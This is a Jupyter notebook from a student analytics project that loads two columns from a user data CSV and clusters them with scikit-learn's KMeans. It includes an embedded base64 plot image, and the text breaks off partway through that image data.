georgetown-analytics/triptomizer

K-means.ipynb

1

38400

{ "cells": [ { "cell_type": "code", "execution_count": 51, "metadata": { "collapsed": true }, "outputs": [], "source": [ "import matplotlib.pyplot as plt\n", "from sklearn.cluster import KMeans\n", "import csv\n", "\n", "%matplotlib inline " ] }, { "cell_type": "code", "execution_count": 52, "metadata": { "collapsed": true }, "outputs": [], "source": [ "x=[]\n", "y=[]" ] }, { "cell_type": "code", "execution_count": 53, "metadata": { "collapsed": false }, "outputs": [], "source": [ "with open('userdata.csv', 'rb') as csvf:\n", " reader = csv.reader(csvf, delimiter=',')\n", " headers = next(reader)\n", " for row in reader:\n", " try:\n", " x.append(float(row[5]))\n", " y.append(float(row[7]))\n", " except ValueError,e:\n", " print \"error\",e,\"on line\",row" ] }, { "cell_type": "code", "execution_count": 55, "metadata": { "collapsed": false }, "outputs": [], "source": [ "data=[]\n", "for i in range(0,34):\n", " data.append([x[i],y[i]])" ] }, { "cell_type": "code", "execution_count": 60, "metadata": { "collapsed": false }, "outputs": [ { "data": { "image/png": "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\nbQOzZ89+6X57ezvt7e21r9wabufJcMYB8JVbYWwfgwVLLY7PHgDTpzS2PrNW0tHRQUdHR83W1/DT\nk0j6LfCRiFggaTawWTHr6Yj4qqRZwOSImFXsML+CtJ9jB+AG4JXl5yPx6UlGvnuXpZHjqzvTOI6S\ntV1pH8fH93WLwyzXUE9P0ozw2BO4CBgPLAQ+DLQBVwGvABYB746IFcXyZwEnAF3AqRHxm17rc3iM\nAi92pZHj9y9P4zgmjIXdtoHDpg9uJLrZaNdy4VFrDg8zs3w+MaKZmTWcw8PMzLI5PMzMLJvDw8zM\nsjk8zMwsm8PDzMyyOTzMzCybw8PMzLI5PMzMLJvDw8zMsjk8zMwsm8PDzMyyOTzMzCybw8PMzLI5\nPMzMLJvDw8zMsjk8zMwsm8PDzMyyOTzMzCybw8PMzLI5PMzMLJvDw8zMsjk8zMwsm8PDzMyyOTzM\nzCybw8PMzLI5PMzMLJvDw8zMsjk8zMwsm8PDzMyyOTzMzCybw8PMzLI5PMzMLJvDw8zMsjk8zMws\nm8PDzMyyOTzMzCybw8PMzLI5PMzMLJvDw8zMsjk8zMwsm8PDzMyyOTzMzCybw8PMzLI5PMzMLJvD\nw8zMsjk8zMwsW8PDQ9IiSfdKmifpj8W02ZKWFNPmSXpr2fJnSnpI0oOSDmt0vWZmtrGxTdhmAO0R\n8UyvaedHxPnlC0qaCbwHmAnsANwgaUZE9DSsWjMz20izuq1U5bSjgSsjYl1ELAIeBvarZ2FmZjaw\nZoRHkFoQd0o6sWz6yZLukXSxpMnFtO2BJWXLLCG1QMzMrImaER4HRcTewFuBT0g6GLgAmAbsBTwJ\nfL2fx0f9SzQzs/40fJ9HRDxZ/HxK0rXAfhFxa2m+pIuA64tfHwd2Knv4jsW0DcyePful++3t7bS3\nt9e8bjOzVtbR0UFHR0fN1qeIxn2Rl7QZ0BYRKyVNBOYA/wLcGxFLi2VOB14XEe8rdphfQdrPsQNw\nA/DKKCtaUjTyOZiZjQSSiIhK+5qr0uiWx1TgWkmlbf84IuZI+pGkvUhdUo8CHwWIiPmSrgLmA13A\nSU4KM7Pma2jLox7c8jAzyzfUlodHmJuZWTaHh5mZZXN4mJlZNoeHmZllc3iYmVk2h4eZmWVzeJiZ\nWTaHh5mZZXN4mJlZNoeHmZllc3iYmVk2h4eZmWVzeJiZWbaGXwzKGmdVJ8xdCAueTvdLJo2HGVvC\n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\nw8wsW7NPjGhmZqOQw8PMzLI5PMzMLJvDw8zMsjk8zMwsm8PDzMyyOTzMzCybw8PMzLI5PMzMLJvD\nw8zMsjk8zMwsm8PDzMyyOTzMzCybw8PMzLKNbXYBNjKs6oS5C2HB0+l+yaTxMGNLOHR6um9mI4Ov\n52FDtngFnHsbrFkHm1T4OvJiF0wYB7PeADtPbnx9ZrYxX8/DmmrxCvja7dDdUzk4IE3v7oHzfgcL\nn2lsfWZWH2552KCt6oRPz0nBoCq+v0RAV8Bp+8MeU+tfn5n1zS0Pa5q5C1NXVTXBAWm5cWPgwjtT\nV5aZtS6Hhw3agqf77qrqz+pOmLOw9vWYWeM0PDwktUmaJ+n64vfZkpYU0+ZJemvZsmdKekjSg5IO\na3St1r/yo6pybDoW7l9e21rMrLGacajuqcB8YPPi9wDOj4jzyxeSNBN4DzAT2AG4QdKMiOhpZLFW\nH2vcbWXW0hra8pC0I/A24CKg1FOusvvljgaujIh1EbEIeBjYrxF1Wv1N8Agjs5bW6G6rbwCfBspb\nDwGcLOkeSRdLKo0E2B5YUrbcElILxIaJwQ76W9sFu/loK7OW1rDwkHQksDwi5rFhS+MCYBqwF/Ak\n8PV+VuNjcoeRGVvmHzUVARPHw+HT61OTmTVGIzsPDgSOkvQ2YFNgC0k/iojjSwtIugi4vvj1cWCn\nssfvWEzbyOzZs1+6397eTnt7e00Lt8oOnZ6Omsod53HyvjC+rf71mdl6HR0ddHR01Gx9TRkkKOkQ\n4FMR8XZJ20XEk8X004HXRcT7ih3mV5D2c+wA3AC8sveIQA8SbK7FK9LI8XXd/QdIBIxrgzMOgOlT\nGlefmVXWqoMExfouqPMk3SvpHuAQ4HSAiJgPXEU6MutXwElOieFn58kpELr7eWdKLQ4Hh9nI4dOT\nWE3cuyyNHF/dmcZxlKztSvs4Pr4v7O6d5GbDxlBbHg4Pq5kXu9I+kPuXp3EcE8bCbtvAYdMHNxLd\nzOrH4eHwMDPL1qr7PMzMrIU5PMzMLJvDw8zMsjk8zMwsm8PDzMyyOTzMzCybw8PMzLI5PMzMLJvD\nw8zMsjk8zMwsm8PDzMyyOTzMzCybw8PMzLI5PMzMLJvDw8zMsjk8zMwsm8PDzMyyOTzMzCybw8PM\nzLI5PMzMLJvDw8zMsjk8zMwsm8PDzMyyOTzMzCybw8PMzLI5PMzMLJvDw8zMsjk8zMwsm8PDzMyy\nOTzMzCybw8PMzLI5PMzMLJvDw8zMsjk8zMwsm8PDzMyyOTzMzCybw8PMzLI5PMzMLJvDw8zMsjk8\nzMwsm8PDzMyyOTzMzCybw8PMzLI5PMzMLJvDw8zMsjU8PCS1SZon6fri9ymS5kpaIGmOpMlly54p\n6SFJD0o6rNG1mplZZc1oeZwKzAei+H0WMDciZgA3Fr8jaSbwHmAmcATwPUluKZmZDQMN/TCWtCPw\nNuAiQMXko4DLivuXAccU948GroyIdRGxCHgY2K9x1ZqZWV8a/U3+G8CngZ6yaVMjYllxfxkwtbi/\nPbCkbLklwA51r9DMzAbUsPCQdCSwPCLmsb7VsYGICNZ3Z1VcpB61mZlZnrEN3NaBwFGS3gZsCmwh\n6XJgmaRtI2KppO2A5cXyjwM7lT1+x2LaRmbPnv3S/fb2dtrb22tfvZlZC+vo6KCjo6Nm61P6st9Y\nkg4BPhURb5d0HvB0RHxV0ixgckTMKnaYX0Haz7EDcAPwyuhVsKTek8zMbACSiIiKvUDVaGTLo7fS\nJ/65wFWS/glYBLwbICLmS7qKdGRWF3CSU8LMbHhoSsujltzyMDPLN9SWh8dNmJlZNoeHmZllc3iY\nmVk2h4eZmWVzeJiZWTaHh5mZZXN4mJlZNoeHmZllc3iYmVk2h4eZmWVzeJiZWTaHh5mZZXN4mJlZ\nNoeHmZllc3iYmVk2h4eZmWVzeJiZWTaHh5mZZWvmNcxtGFjVCXMXwoKn0/2SSeNhxpZw6PR0v9bu\neAyOuxaeWAldPeunjx0D228Ol78D9t8pTVv4DHx6DvzlKXhh3fplNxsHu24NXzsMpk+pfY1m1jdf\nw3wUW7wCzr0N1qyDTSp8jXixCyaMg1lvgJ0n1267X+6AL94CPcCYCldQ7onUJP7SIfDqreEjv4Du\nbmhr23jZ0vSLjoR37Vq7Gs1GuqFew9zhMUotXgFfux06u0D9/PlEwLg2OOOA2ny7Hyg4SnqKt3QT\nwSbjYEw/Haw9PdA2Br59BHxgz6HXaDYaODwcHtlWdaZuoO6e/oOjJAK6Ak7bH/aYOvjt3vEYHHTJ\nwMFR2mbpXR0LTNq0/+V7etLyX3wjfOqgwddoNloMNTy8w3wUmrswdVVVExyQlhs3Bi68M3VlDdZx\n11YXHLA+OAC6gK7u/pcfMya1Pr5yGzy1avA1mll1HB6j0IKnK+/jGMjqTpizcPDbfWJldcFRcdvr\n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\n19VZkv62rtWa1ZnDw6w2+trZH